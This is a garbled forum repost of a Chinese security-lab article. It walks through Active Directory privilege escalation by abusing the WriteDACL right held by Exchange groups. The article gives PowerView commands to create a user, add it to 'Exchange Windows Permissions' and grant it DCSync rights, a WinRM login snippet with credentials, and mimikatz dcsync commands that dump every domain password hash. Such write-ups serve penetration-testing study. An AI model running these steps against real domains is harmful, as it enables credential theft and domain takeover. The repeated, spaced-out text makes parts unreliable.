搜索

[27245] 2021-05-12_投稿使用Exchange服务器中的Writedacl实现域提权的提权

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-05-12_投稿使用Exchange服务器中的Writedacl实现域提权的提权 投 稿   |   使 用 E x c h a n g e 服 务 器 中 的 W r i t e d a c l 实 现 域 提 权 的 提 权 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 5 - 1 2 收 录 于 话 题 # 内 网 安 全   , 8 # 粉 丝 投 稿   , 1 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   公 众 号 读 者 投 稿 公 众 号 读 者 投 稿 本 文 作 者 ： V a s t S k y （ M s 0 8 0 6 7 实 验 室 读 者 ） 前 言 前 言 在 域 环 境 中 ， 如 果 安 装 在 域 环 境 中 ， 如 果 安 装 E x c h a n g e 后 ， 系 统 会 添 加 一 个 名 为 后 ， 系 统 会 添 加 一 个 名 为 M i c r o s o f t   E x c h a n g e   S e c u r i t y   G r o u p s 、 、 E x c h a n g e   T r u s t e d S u b s y s t e m 和 和 E x c h a n g e   W i n d o w s   P e r m i s s i o n 三 个 组 。 如 果 获 得 了 这 三 个 组 内 任 意 用 户 的 控 制 权 限 ， 就 能 够 继 承 用 户 组 的 三 个 组 。 如 果 获 得 了 这 三 个 组 内 任 意 用 户 的 控 制 权 限 ， 就 能 够 继 承 用 户 组 的 W r i t e D A C L 权 限 ， 权 限 ， W r i t e D A C L 权 限 可 以 修 改 域 对 象 的 权 限 可 以 修 改 域 对 象 的 A C L ， 最 终 实 现 利 用 ， 最 终 实 现 利 用 D C S y n c 导 出 域 内 所 有 用 户 导 出 域 内 所 有 用 户 h a s h 。 。 利 用 条 件 利 用 条 件 获 取 属 组 为 一 下 三 个 组 的 任 意 用 户 获 取 属 组 为 一 下 三 个 组 的 任 意 用 户 M i c r o s o f t   E x c h a n g e   S e c u r i t y   G r o u p s E x c h a n g e   T r u s t e d   S u b s y s t e m E x c h a n g e   W i n d o w s   P e r m i s s i o n 实 验 实 验 1 、 通 过 、 通 过 b l o o d h o u n d 分 析 出 来 如 下 图 所 示 分 析 出 来 如 下 图 所 示 通 过 上 图 可 以 清 晰 的 看 到 ， 用 户 所 属 的 组 对 通 过 上 图 可 以 清 晰 的 看 到 ， 用 户 所 属 的 组 对 E X C H A N G E   W I N D O W S   P E R M I S S I O N S   组 拥 有 所 有 的 权 限 ， 而 组 拥 有 所 有 的 权 限 ， 而 E X C H A N G E   W I N D O W S   P E R M I S S I O N S   对 域 有 有 对 域 有 有 w r i t e d a c l 的 权 限 ， 因 此 可 以 通 过 的 权 限 ， 因 此 可 以 通 过   域 渗 透 域 渗 透 — — 使 用 使 用 E x c h a n g e 服 务 器 中 特 定 的 服 务 器 中 特 定 的 A C L 实 现 域 提 权 ， 的 思 路 来 提 权 。 通 过 实 现 域 提 权 ， 的 思 路 来 提 权 。 通 过 D C S y n c 来 提 权 ， 来 提 权 ， E X C H A N G E   W I N D O W S   P E R M I S S I O N S 组 内 的 用 户 ， 可 以 对 任 意 用 户 修 改 组 内 的 用 户 ， 可 以 对 任 意 用 户 修 改 a c l 权 限 权 限 2 、 创 建 用 户 用 户 、 创 建 用 户 用 户 $ U s e r P a s s w o r d   = C o n v e r t T o - S e c u r e S t r i n g   ' 1 2 3 4 5 6 q a z w s x '   - A s P l a i n T e x t   - F o r c e N e w - D o m a i n U s e r   - S a m A c c o u n t N a m e   o n e   - D e s c r i p t i o n
' T h i s   i s   o n e '   - A c c o u n t P a s s w o r d   $ U s e r P a s s w o r d 修 改 用 户 密 码 ： 修 改 用 户 密 码 ： S e t - D o m a i n U s e r P a s s w o r d   - I d e n t i t y h a r m j 0 y 2   - A c c o u n t P a s s w o r d   $ U s e r P a s s w o r d 3 、 将 新 建 用 户 加 入 到 、 将 新 建 用 户 加 入 到 E X C H A N G E   W I N D O W S   P E R M I S S I O N S 组 ， 并 且 允 许 远 程 登 录 组 ， 并 且 允 许 远 程 登 录 A d d - D o m a i n G r o u p M e m b e r   - I d e n t i t y ' E X C H A N G E W I N D O W S   P E R M I S S I O N S '   - M e m b e r s   ' o n e ' A d d - D o m a i n G r o u p M e m b e r   - I d e n t i t y   ' R e m o t e   M a n a g e m e n t   U s e r s '   - M e m b e r s   ' o n e ' 4 、 使 用 、 使 用 o n e 用 户 通 过 用 户 通 过 w i n r m _ s h e l l . r b 用 户 远 程 登 录 用 户 远 程 登 录 r e q u i r e   ' w i n r m ' c o n n   =   W i n R M : : C o n n e c t i o n . n e w (     e n d p o i n t :   ' h t t p : / / 1 0 . 1 0 . 1 0 . 1 6 1 : 5 9 8 5 / w s m a n ' ,     u s e r :   ' h t b . l o c a l o n e ' ,     p a s s w o r d :   ' 1 2 3 4 q w e r ' , ) 5 、 利 用 、 利 用 D C S y n c 导 出 导 出 h a s h 于 是 于 是 o n e 用 户 可 以 对 自 己 添 加 三 条 用 户 可 以 对 自 己 添 加 三 条 A C E ( A c c e s s   C o n t r o l   E n t r i e s ) ： 使 其 获 得 ： 使 其 获 得 D C S y n c 导 出 的 权 限 ， 正 常 情 况 下 ， 如 果 获 得 导 出 的 权 限 ， 正 常 情 况 下 ， 如 果 获 得 了 以 下 三 个 组 内 任 意 用 户 的 权 限 ， 都 能 够 利 用 了 以 下 三 个 组 内 任 意 用 户 的 权 限 ， 都 能 够 利 用 D C S y n c 导 出 域 内 所 有 用 户 导 出 域 内 所 有 用 户 h a s h 组 名 如 下 ： 组 名 如 下 ： E x c h a n g e   T r u s t e d   S u b s y s t e m E x c h a n g e   W i n d o w s   P e r m i s s i o n O r g a n i z a t i o n   M a n a g e m e n t 向 域 内 的 一 个 普 通 用 户 添 加 如 下 三 条 向 域 内 的 一 个 普 通 用 户 添 加 如 下 三 条 A C E ( A c c e s s   C o n t r o l   E n t r i e s ) ： ： D S - R e p l i c a t i o n - G e t - C h a n g e s ( G U I D : 1 1 3 1 f 6 a a - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 ) D S - R e p l i c a t i o n - G e t - C h a n g e s - A l l ( G U I D : 1 1 3 1 f 6 a d - 9 c 0 7 - 1 1 d 1 - f 7 9 f - 0 0 c 0 4 f c 2 d c d 2 ) D S - R e p l i c a t i o n - G e t - C h a n g e s ( G U I D : 8 9 e 9 5 b 7 6 - 4 4 4 d - 4 c 6 2 - 9 9 1 a - 0 f a c b e d a 6 4 0 c ) 该 用 户 即 可 获 得 利 用 该 用 户 即 可 获 得 利 用 D C S y n c 导 出 域 内 所 有 用 户 导 出 域 内 所 有 用 户 h a s h 的 权 限 的 权 限 6 、 添 加 、 添 加 A C E 的 命 令 如 下 ： 的 命 令 如 下 ： A d d - D o m a i n O b j e c t A c l   - T a r g e t I d e n t i t y " D C = h t b , D C = l o c a l "   - P r i n c i p a l I d e n t i t y   o n e   - R i g h t s   D C S y n c   - V e r b o s e 7 、 再 次 退 出 重 新 登 录 、 再 次 退 出 重 新 登 录 ( 1 ) 导 出 导 出 a d m i n i s t r a t o r 的 的 h a s h m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : d c s y n c   / d o m a i n : h t b . l o c a l   / u s e r : a d m i n i s t r a t o r   / c s v "   e x i t
( 2 ) 通 过 以 下 命 令 导 出 所 有 用 户 通 过 以 下 命 令 导 出 所 有 用 户 h a s h m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " l s a d u m p : : d c s y n c   / d o m a i n : h t b . l o c a l   / a l l   / c s v "   e x i t
扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理